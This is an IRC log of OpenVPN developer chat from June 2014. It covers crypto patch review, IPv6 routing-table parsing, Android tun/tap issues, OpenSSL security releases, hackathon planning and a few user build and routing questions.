timeout: 245 seconds] 09:53 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 09:53 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:04 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel --- Day changed Sun Jun 08 2014 06:01 <@vpnHelper> RSS Update - gitrepo: Drop incoming fe80:: packets silently now. <https://github.com/OpenVPN/openvpn/commit/70f1864188ad00451683cabf51e56b7730250c40> 06:01 <@vpnHelper> RSS Update - tickets: #415: IPv6 link-local address handling in tun mode <https://community.openvpn.net/openvpn/ticket/415> 10:16 -!- Netsplit *.net <-> *.split quits: @cron2 13:43 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:43 -!- mode/#openvpn-devel [+o cron2] by ChanServ 13:46 <@cron2> syzzer: you have been quite busy, have you? :-) 14:03 <@cron2> now if we could find someone to ACK that set... :-) (I think the code looks sane, except for the "tail" in the test script which might turn out to be non-portable - but I'm not ACKing complicated crypto stuff :) ) 15:38 <@syzzer> I though "tail" was POSIX? 15:40 <@syzzer> and yes, cron2, I've been busy - with the end goal to get AEAD (in particular, GCM) into master/2.4, but there was all this stuff I came along and wanted to clean up first... 15:41 <@syzzer> but then the question is who could ACK this... Maybe d12fk? He worked on OFB/CFB for the GOST stuff. 16:03 <@plaisthos> syzzer: I looks fine enough to me 16:04 <@plaisthos> but that is stuff I could ack from the "it looks fine enough" but I don't really understand 100% of it 16:04 <@plaisthos> after heartbleed lazy acking crypto stuff seems to the best thing to do :/ 16:05 <@syzzer> I'm always around to explain of course :) 16:06 <@syzzer> these patches should be doable for non-crypto devs, as they don't really change behaviour (expect for explicitly disabling AEAD-modes instead of breaking on usage...) 16:07 <@syzzer> I'd like to see if we can change some crypto stuff too, but I guess we really need James for that part 16:11 <@plaisthos> syzzer: I hope I get time to review the patches soon 16:12 <@syzzer> ah, that would be nice :) --- Day changed Mon Jun 09 2014 01:55 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:55 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:55 -!- mattock_afk is now known as mattock 02:58 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 03:31 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 07:04 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:04 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:05 <@cron2> syzzer: "tail" is POSIX, but the "-n+7" notation is fairly new - it used to be "-7" or "+7", but some wise man decided that this is unposixly and everybody should please change their scripts 08:02 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 14:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 14:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 15:21 -!- mattock is now known as mattock_afk 15:45 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] --- Day changed Tue Jun 10 2014 01:26 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 01:46 -!- mattock_afk is now known as mattock 05:40 <@cron2> gna... our compression stuff... (I have a working AIX client which has no lzo for the time being, but has nice lz4 - but since the server doesn't do negotiation yet, it will just insist on lzo even if it could know the client cannot do it) 05:52 <@plaisthos> :D 07:03 <@plaisthos> cron2: sounds like we need that auto detect best compression between server and client in -master after all *ducks* 07:25 <@cron2> plaisthos: yes, we do. As soon as we've fixed all the other rough edges :-) 07:51 <@plaisthos> :) 07:51 <@plaisthos> *sigh* 07:51 <@plaisthos> Cyanogenmod rulez!!!1111elf 07:52 <@plaisthos> Seems like *all* CM11 4.4.3 images have broken VPNService 07:52 <@cron2> have you made progress with the windows build brokenness? maybe we should just sent the weird code fragment to the list and ask for "who understands this?" 07:52 <@cron2> urgh 07:56 <@plaisthos> cron2: did not have the time to check on that 07:57 <@cron2> PASS: t_cltsrv.sh 07:57 <@cron2> hah! 07:57 <@cron2> ("--dev null" actually needs some code to not fall into the "there is only tap on aix, go away!" clause :) ) 08:18 <@plaisthos> cron2: :D 08:18 <@plaisthos> I am sure at the moment if I catch the "must be tun" in OpenVPN or in the UI 08:26 <@cron2> one day I'll do a tun/tap shim... providing tun on AIX, and tap on Android... 08:26 <@cron2> but not today 08:41 <@plaisthos> cron2: yeah 08:41 <@plaisthos> on Android most people converted their setups to tun 08:42 <@plaisthos> I have got a lot less questions about tap than I anticipated 08:42 <@plaisthos> I think the emulate tun is easier than emulate tap 08:42 <@plaisthos> (and we have the emulate tun code in the windows tap driver iirc) 08:46 <@cron2> yeah, we have, but that code is inside the driver, and looks completely different - EverythingIsTotallyWindowsStyle() and such 08:46 <@plaisthos> :) 08:48 <@cron2> it's not really *hard* - add and strip MAC header (which always looks the same for data packets), and answer ARP requests... 08:48 <@plaisthos> for the tap on tun emulate you need to implement all the timeouts, holding packets back until an arp response comes, throwing packets away if no arp response comes. 08:49 <@plaisthos> I think tun on tap can be done stateless 08:49 <@cron2> ack 08:50 <@cron2> (though I'd propably do the cisco way... "send ARP requests, trow away the data packet that triggered the ARP, let the sender retry") 08:50 <@plaisthos> Unless someone wants to pay me for it, I will not do it anyway 08:51 <@plaisthos> and then call your implementation industry standard :) 08:51 <@cron2> ack :-) - the AIX port was something that is useful for $work (and not actually that much effort) - but they are fine with tap, as it's just "remote AIX machine back to central management") 08:52 <@plaisthos> this strange client https://play.google.com/store/apps/details?id=it.colucciweb.free.openvpn 08:52 <@plaisthos> seems to have implemented something like this 08:52 <@plaisthos> The OpenVPN® software used in this app is developed by OpenVPN® Technologies, Inc. and is redistributed with the original GPL2 copyright 08:53 <@cron2> just saw it, indeed 08:54 <@cron2> "now with IPv4 tap device support!!" - what is this IPv4 stuff? 08:54 <@plaisthos> probably implemented only ARP and not NDP 08:54 <@cron2> yeah, quite likely :-) 08:54 <@plaisthos> and ipv6 is broken on most 4.4 devices anyway :D 08:54 * cron2 suddenly remembers the horrors of having to fake IPv6 ND in our tap driver... 08:55 <@cron2> but if people are willing to pay 5 EUR to get tap devices, that seems to be a business opportunity :) 08:55 <@plaisthos> yeah ... 08:55 <@plaisthos> no idea about that client 08:55 <@plaisthos> I never used it 08:55 <@cron2> and it has really nice graphics 08:56 <@cron2> someone *really* invested a lot of time in this *rubeyes* 08:58 <@plaisthos> hm 08:59 <@plaisthos> when I a bit free time, I will google for an android graph library ;) 08:59 <@plaisthos> the other pieces for drawing that are already in place .. 13:37 -!- mattock is now known as mattock_afk 15:53 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] --- Day changed Wed Jun 11 2014 00:00 -!- mattock_afk is now known as mattock 00:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 01:38 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 02:15 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:15 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:15 -!- mattock_afk is now known as mattock 02:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 02:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:18 <@cron2> mornin' 03:25 <@plaisthos> morning 04:47 <@syzzer> morning :) 05:49 <@mattock> oh, btw 05:50 <@mattock> found out last week that I'll be on a vacation starting next Monday 05:50 <@mattock> for a month 05:51 <@mattock> if there's something urgent like more openssl security vulnerabilities or such I will of course take care of making the releases 05:52 <@mattock> the other guys at the office can probably take care of most server issues just fine 05:52 <@plaisthos> we had one last week 05:52 <@mattock> one what? 05:52 <@plaisthos> mattock: openssl security issue ;) 05:52 <@mattock> yes, exactly :P 05:53 <@mattock> it looks like they keep on coming 05:53 <@mattock> if one does and I'm nowhere to be seen, send me an SMS 05:53 <@plaisthos> I think everyone woke up and realized that "other have audited openssl" was not true 05:54 <@mattock> yeah, seems like it 05:55 <@mattock> and when the few paid openssl developers start their work we can expect more releases and fixes to come 05:55 <@mattock> and then there's the "Theo fork" of OpenSSL which might feed back to the original project 05:56 <@plaisthos> yeah but the Theo fork is "strip everything apart" 05:57 <@plaisthos> OpenBSD might even remove Windows for religous reason 05:58 <@mattock> I think they did already 05:58 <@mattock> both of those things :P 06:01 <@plaisthos> n addition, there has been removal of unneeded operating systems and hardware architectures (Mac OS, NetWare, OS/2, VMS, Windows, etc.) 06:01 <@plaisthos> :D 06:01 <@plaisthos> oh 06:01 <@plaisthos> Mac OS 06:01 <@plaisthos> not Mac OS X 06:02 <@plaisthos> that is probably not so bad idea 06:07 <@mattock> probably some openbsd developer users OS X 06:07 <@mattock> that's why it was not removed 06:09 <@plaisthos> mattock: yeah :) 06:10 <@plaisthos> I think OS X clients are quite popular amongst *BSD developers 06:14 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 265 seconds] 06:21 <@mattock> yep, that's my impression too 07:09 <@ecrist> yes, it's true 07:48 <@cron2> ecrist: your port is updated \o/ 07:49 <@ecrist> :D 09:42 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:00 -!- mattock is now known as mattock_afk 16:18 -!- Netsplit *.net <-> *.split quits: @raidz 16:18 -!- Netsplit over, joins: raidz 16:18 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:24 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] --- Day changed Thu Jun 12 2014 00:31 -!- mattock_afk is now known as mattock 00:46 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 02:34 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:18 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 04:42 <@vpnHelper> RSS Update - tickets: #417: Android: connecting but not transferring data <https://community.openvpn.net/openvpn/ticket/417> || #416: Android: connecting but not transferring data <https://community.openvpn.net/openvpn/ticket/416> 05:38 <@plaisthos> took care of those 14:02 -!- Netsplit *.net <-> *.split quits: ender|, @cron2 14:05 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:45 -!- mattock is now known as mattock_afk 15:51 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 16:52 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] --- Day changed Fri Jun 13 2014 00:44 -!- mattock_afk is now known as mattock 02:22 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-ac09-c5fa-7be6-261f.rev.sfr.net] has joined #openvpn-devel 02:51 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:27 <@plaisthos> Hello Arne, 03:27 <@plaisthos> The problem is that we are having a budget of 500 EUR to develop this whole VPN application. 03:28 <@plaisthos> (I want people who can develop that cheap too....) 04:17 <@plaisthos> Interesting 04:17 <@plaisthos> Opera Max somehow manages to map traffic to apps 04:17 <@plaisthos> http://i.i.cbsi.com/cnwk.1d/i/tim2/2014/02/19/Opera-Max-screenshots.png 05:32 <@plaisthos> new feature for my next version :D 05:33 <@plaisthos> there is a world readable /proc/net/xt_qtaguid/stats with stats for each uid/socket 09:24 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-ac09-c5fa-7be6-261f.rev.sfr.net] has quit [Remote host closed the connection] 09:25 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 09:38 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:50 -!- raidz is now known as raidz_away 12:39 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 12:39 -!- mode/#openvpn-devel [+o cron2] by ChanServ 12:39 <@cron2> grrr 12:40 <@cron2> anything I missed? 12:54 -!- raidz_away is now known as raidz 16:51 -!- mattock is now known as mattock_afk 17:39 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] 19:43 -!- MaliusArth [~MaliusArt@chello062178183011.18.14.vie.surfer.at] has joined #openvpn-devel 19:44 -!- MaliusArth [~MaliusArt@chello062178183011.18.14.vie.surfer.at] has left #openvpn-devel [] --- Day changed Sat Jun 14 2014 01:38 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has joined #openvpn-devel 02:48 <@syzzer> cron2: don't think so, it's been very quiet 04:42 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has quit [Ping timeout: 252 seconds] 04:56 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has joined #openvpn-devel 05:03 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has quit [Ping timeout: 264 seconds] 05:10 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has joined #openvpn-devel 05:16 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has quit [Ping timeout: 240 seconds] 05:23 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has joined #openvpn-devel 06:13 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has quit [Ping timeout: 264 seconds] 06:29 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has joined #openvpn-devel 06:36 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has quit [Ping timeout: 264 seconds] 06:45 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has joined #openvpn-devel 07:22 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-2d68-6130-b945-b2c5.rev.sfr.net] has quit [Remote host closed the connection] 07:23 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 08:15 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Ping timeout: 260 seconds] 08:15 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-fdd5-af1a-382a-0fd2.rev.sfr.net] has joined #openvpn-devel 08:39 -!- Ryu_Fitzgerald [~Ryu_Fitzg@199-193-117-84.static.hvvc.us] has joined #openvpn-devel 08:41 < Ryu_Fitzgerald> This may be a question on a developer knows the answer to. I have an openvpn with the client being a router. I want only one LAN address to go through that VPN. How do I set that up? 08:41 <@cron2> that sounds very much like a user question :-) - developer questions are "hey, I want this functionality added, which source file provides this?" 08:42 < Ryu_Fitzgerald> sadly, noone in the openvpn channel knows this answer. I have been checking for days. I was hoping someone with developer knowledge would know 08:42 <@cron2> the best way to get this question answered is describe the setup in more detail ("one LAN address from where?", "is this the default router for the network, or just a box sitting there", ...) to the openvpn-users@lists.sourceforge.net list 08:43 <@cron2> maybe do a diagram 08:44 < Ryu_Fitzgerald> modem> Pfsense router > Wirless router> many different clients 08:45 < Ryu_Fitzgerald> only one of the clients needs to go to a certain vpn ran on the pfsense router 08:45 < Ryu_Fitzgerald> the pfsense router is the only one that distributes local ip address. The wirless just passes everything through 08:46 < Ryu_Fitzgerald> the pfsense router and wireless router are the only two routers in the system 08:47 < Ryu_Fitzgerald> the pfsense router is the vpn client 08:48 < Ryu_Fitzgerald> is this an email addess "openvpn-users@lists.sourceforge.net " 08:49 < Ryu_Fitzgerald> Is there any other information I forgot to mention? 08:55 -!- Ryu_Fitzgerald [~Ryu_Fitzg@199-193-117-84.static.hvvc.us] has quit [Ping timeout: 255 seconds] 09:02 <@cron2> this is actually not truly an "openvpn" question, but a "how do I do policy routing on the OS that pfsense runs on (FreeBSD)" 09:03 <@cron2> because OpenVPN on the pfsense has no influence on "for which client is the VPN used" - if the packet gets sent to the tun interface, openvpn will deliver it, no matter which client sent it. So the pfsense side needs to do that. 09:03 <@cron2> On linux, you can install routes that are "from <ip> to <net>" and will only match packets coming from <ip>, but I'm not sure whether this can be done with pfsense or not 09:32 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-fdd5-af1a-382a-0fd2.rev.sfr.net] has quit [Remote host closed the connection] 09:33 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 09:57 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 12:59 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 13:27 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 16:07 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] --- Day changed Sun Jun 15 2014 01:21 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 04:04 -!- Envil [~meep@85.17.109.16] has joined #openvpn-devel 04:49 -!- mattock_afk is now known as mattock 08:41 -!- mattock is now known as mattock_afk 10:35 -!- mattock_afk is now known as mattock 10:59 -!- mattock is now known as mattock_afk 14:21 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 14:21 -!- mode/#openvpn-devel [+o pekster] by ChanServ 16:45 -!- Envil [~meep@85.17.109.16] has quit [Remote host closed the connection] 17:00 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] --- Day changed Mon Jun 16 2014 02:15 <@cron2> moin 02:19 <@syzzer> morning! 03:14 <@plaisthos> moin 03:29 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-7526-fc80-9cf8-e364.rev.sfr.net] has joined #openvpn-devel 04:02 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-7526-fc80-9cf8-e364.rev.sfr.net] has quit [Quit: Lost terminal] 04:10 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-7526-fc80-9cf8-e364.rev.sfr.net] has joined #openvpn-devel 05:49 <@cron2> is d12fk around? 05:59 <@d12fk> yeah 06:30 <@plaisthos> "I tried to build openssl with obscure options and it failed": https://code.google.com/p/ics-openvpn/issues/detail?id=255 06:30 <@vpnHelper> Title: Issue 255 - ics-openvpn - Can't enable static_engine - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 07:45 <@cron2> d12fk: let me deliver your weekly reminder :-) *poke* 07:45 <@cron2> d12fk: so how's your available time? 07:49 <@d12fk> ah the reminder, thanks 07:50 <@d12fk> time is always vanishing as soon as i think i'll get to something 07:50 <@d12fk> 'bout time openssl stops releasing fixes =) 07:58 <@cron2> d12fk: hehe, indeed, this openssl thingie is eating time like nothing... (I'm still pushing users here to update *all* their machines... usually they do one, but have OpenVPN on 3 others as well) 08:17 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-7526-fc80-9cf8-e364.rev.sfr.net] has quit [Quit: Lost terminal] 08:17 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-7526-fc80-9cf8-e364.rev.sfr.net] has joined #openvpn-devel 12:49 <@cron2> plaisthos: do you have an elegant trick how to parse the addresses from /proc/net/ipv6_route ? 12:50 <@cron2> on linux 13:51 <@plaisthos> cron2: anything that supports big integer? 13:53 <@plaisthos> or what is problem? 13:57 <@cron2> plaisthos: getting this into in6_addr inside OpenVPN 13:57 <@cron2> ... elegantly 13:58 <@cron2> finding default gw+interface, to repair redirect-gateway for ipv6 using ipv6 transport 14:00 <@plaisthos> oh 14:00 <@plaisthos> hm 14:01 <@plaisthos> since it is hex 14:02 <@plaisthos> you know which 2 bytes are one byte of the in_addr6 14:02 <@plaisthos> or what format do you need the stuff in? 14:03 <@cron2> I can *do* it by hand, but it's ugly 14:04 <@cron2> hoped there would be some magic API function to do that for me <:-) 14:34 <@plaisthos> I have no idea 14:34 <@plaisthos> isn't there a RT_NETLINK or something 14:34 <@plaisthos> some better API? 14:38 <@cron2> last round we discussed netlink, we sort of ended up at not being able to decide which library to use for that... 14:39 <@cron2> supposedly you need/want that 15:26 <@cron2> (as a side note: this will be code with heaps of #ifdefs anyway... BSD API is nothing like linux, Linux is nothing like Windows, and Windows XP is not even having an API to query IPv6 routing table...) 16:02 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-7526-fc80-9cf8-e364.rev.sfr.net] has quit [Remote host closed the connection] 16:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 16:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 16:11 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 16:43 <@pekster> cron2: If it's that much code, maybe something more abstract like a route_bsd.c, route_linux.c, route_win32.c, might be an idea? I don't know how much #ifdef joy you're seeing, but that's a way to at least keep the differences separate 16:43 <@pekster> The drawback being 3 files intead of 1 :P --- Day changed Tue Jun 17 2014 01:03 <@cron2> pekster: yeah, one day we'll need to split tun.c and route.c 01:03 <@cron2> they are full of #ifdef today already - the new code will just add 3 variants of a new function to read out the IPv6 routing table... 01:09 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-a07c-812b-808f-4491.rev.sfr.net] has joined #openvpn-devel 02:12 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:19 -!- Netsplit *.net <-> *.split quits: +krzee, @raidz 03:20 -!- Netsplit *.net <-> *.split quits: _bt, n13l, randt0sh, @d12fk, @pekster, siruf, +roentgen, ender|, reators, @plaisthos, (+6 more, use /NETSPLIT to show all of them) 03:22 -!- Netsplit over, joins: reators, randt0sh, @syzzer, @pekster, siruf, @cron2, ender|, _bt, @mattock_afk, @plaisthos (+6 more) 03:23 -!- Netsplit over, joins: @raidz, +krzee 03:30 <@plaisthos> https://plus.google.com/u/0/108258579910969644852/posts/gHioq8zorei 03:31 <@plaisthos> "Non-commercial built by my brother" 03:34 -!- Netsplit *.net <-> *.split quits: +krzee, _bt, n13l, randt0sh, @d12fk, @pekster, siruf, +roentgen, ender|, reators, (+8 more, use /NETSPLIT to show all of them) 03:42 -!- Netsplit over, joins: riddle, +novaflash, +roentgen, @plaisthos, @mattock_afk, _bt, ender|, @pekster, @syzzer, randt0sh (+8 more) 03:45 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:08 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:47 * cron2 needs to be @home for some longer time... speed up openvpn work again... start planning 2015 hackathon... 04:48 <@d12fk> would it be munich again? i could offer a room as well 04:49 <@d12fk> not that i wouldn't appreciate the trip =) 04:50 <@d12fk> just in case it's too much of a hassle for you 04:51 <@cron2> room and food is not a big hassle, it was fun. but i'd be willing to visit KA too :) 05:21 <@plaisthos> it is both away from me 05:21 <@plaisthos> and in munich I can visit to two friend which moved there this year 06:22 <@cron2> so we do Munich again :-) 06:23 <@plaisthos> Just do let it be "plaisthos said so" 06:23 <@d12fk> let's do it in munich then 06:24 <@plaisthos> perhaps this time I will come by train ;) 08:57 <@plaisthos> or maybe lufthansa will have another cheap deal :) 10:30 <@syzzer> Munich sounds good to me, last year was nice :) 11:17 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:42 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 11:44 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 11:44 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 12:44 <+krzee> freenode requires you to be the real project to have #channel, and #selinux exists with an op? so that op is NSA affiliated? 15:19 -!- Netsplit *.net <-> *.split quits: +krzee, _bt, n13l, randt0sh, @d12fk, @pekster, siruf, +roentgen, @plaisthos, ender|, (+7 more, use /NETSPLIT to show all of them) 15:20 -!- Netsplit over, joins: +roentgen, @plaisthos, +krzee, @raidz, randt0sh, @syzzer, @pekster, ender|, _bt, @mattock_afk (+7 more) 16:47 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-a07c-812b-808f-4491.rev.sfr.net] has quit [Remote host closed the connection] --- Day changed Wed Jun 18 2014 01:19 -!- Netsplit *.net <-> *.split quits: siruf, @cron2 01:23 -!- Netsplit over, joins: siruf, @cron2 01:46 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-150a-1429-8265-4681.rev.sfr.net] has joined #openvpn-devel 02:28 -!- dddh [~Zumu@pdpc/supporter/active/dddh] has joined #openvpn-devel 02:34 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 07:28 <@plaisthos> Great. With the new Play Store permission categories my and James app now require permission to access "Photos/media/Files" 07:28 <@cron2> what? why? 07:28 <@plaisthos> because we want to read from SD Card to import profiles 07:29 <@plaisthos> http://imgur.com/dlLE1vN 07:30 <@vpnHelper> Title: imgur: the simple image sharer (at imgur.com) 07:30 <@cron2> well, yes, make sense. "Photos", yeah. 07:30 <@plaisthos> yeah :/ 11:21 <@ecrist> laaaaaaame 13:02 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:17 <+krzee> i love not caring about app permissions 14:17 <+krzee> cyanogenmod lets me disable each permission on an installed app 14:17 <+krzee> oh you want location info? TOO BAD SUCKA 16:12 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-150a-1429-8265-4681.rev.sfr.net] has quit [Remote host closed the connection] --- Day changed Thu Jun 19 2014 02:04 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 02:05 -!- dddh [~Zumu@pdpc/supporter/active/dddh] has quit [Ping timeout: 264 seconds] 02:27 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 252 seconds] 06:20 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 06:20 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 06:20 <+debbie10t> Could somebody here take a quick look at this post some time - thanks : https://forums.openvpn.net/topic16178.html 06:20 <@vpnHelper> Title: OpenVPN Support Forum Do i need to recompile open vpn after open ssl Upgrade? : Server Administration (at forums.openvpn.net) 07:11 <+debbie10t> cron2: thanks =] 07:18 <@cron2> plaisthos, d12fk: jftr... talked to Hannes Sowa about the /proc/net/ipv6_route thing, and he says, basically, "you want to use netlink!" and "you want to use netlink, really!" :-) (plus, "netlink is RFC3549, and the API is guaranteed to be stable"). So that's what I'll do. 07:39 <@plaisthos> a guaranteed stablee API sounds nice 07:39 <@plaisthos> (especially when dealing with linux kernel stuff) 07:39 <@cron2> indeed :) 09:34 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 09:35 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:35 -!- mode/#openvpn-devel [+o andj] by ChanServ 10:03 -!- Bakou [~bakou@119.96.240.156] has joined #openvpn-devel 10:04 < Bakou> hello folks.. i am having a hell of a time getting configure on win32/mingw to find the TAP win32 headers.. is there any clear guide on how to actaully do this? 11:45 <@pekster> The openvpn-build cross-dev just magically takes care of that 11:50 -!- Bakou [~bakou@119.96.240.156] has quit [Quit: Leaving] 11:51 -!- Bakou [~bakou@119.96.240.156] has joined #openvpn-devel 11:51 < Bakou> i finally got it working by using the generic/ build script 11:51 < Bakou> i think 11:52 < Bakou> there are too many old instructions out there on the web 11:52 < Bakou> it is quite volatile.. it failed because my mingw was in program files 11:52 < Bakou> and the space killed it 11:52 < Bakou> also the generic build script would probably be totally useless for development since it tries to download/extrac tthe src each time you run it 11:53 < Bakou> but i am trying to build a patched version 11:53 < Bakou> it would be nice if i could build the deps.. then just build openvpn 11:54 <@pekster> a patched tap tarball? The openvpn sources are only downloaded when missing 11:54 < Bakou> nah patched openvpn 11:54 <@pekster> IIRC works just fine 11:54 < Bakou> the xor scramble patch 11:54 < Bakou> so it can work in china 11:54 <@pekster> But I build on Linux doing cross-compiling as is recommended 11:55 <@pekster> The building on Windows hasn't really ever been supported (not sure there are any active devs who use it or care that much about spending time fixing it) 11:55 < Bakou> yeah it seems to have worked finally, but i probably wasted like 4 hours figuring out which of the crazy build scripts actually works 11:55 <@pekster> The generic build script can cross-compile, so you can build "for anything" if you use those directions 11:55 < Bakou> theres a bunch of visual studio files for it too floating around which all seem completely useless 11:55 < Bakou> well, i tried the configure in root folder 11:55 < Bakou> which was all good and wel until it couldnt find win32 TAP 11:56 < Bakou> and google could not help me fix that 11:56 < Bakou> but the generic/ build script seems to do everything and give you no control 11:56 < Bakou> so i slipped in my patched src while it was working 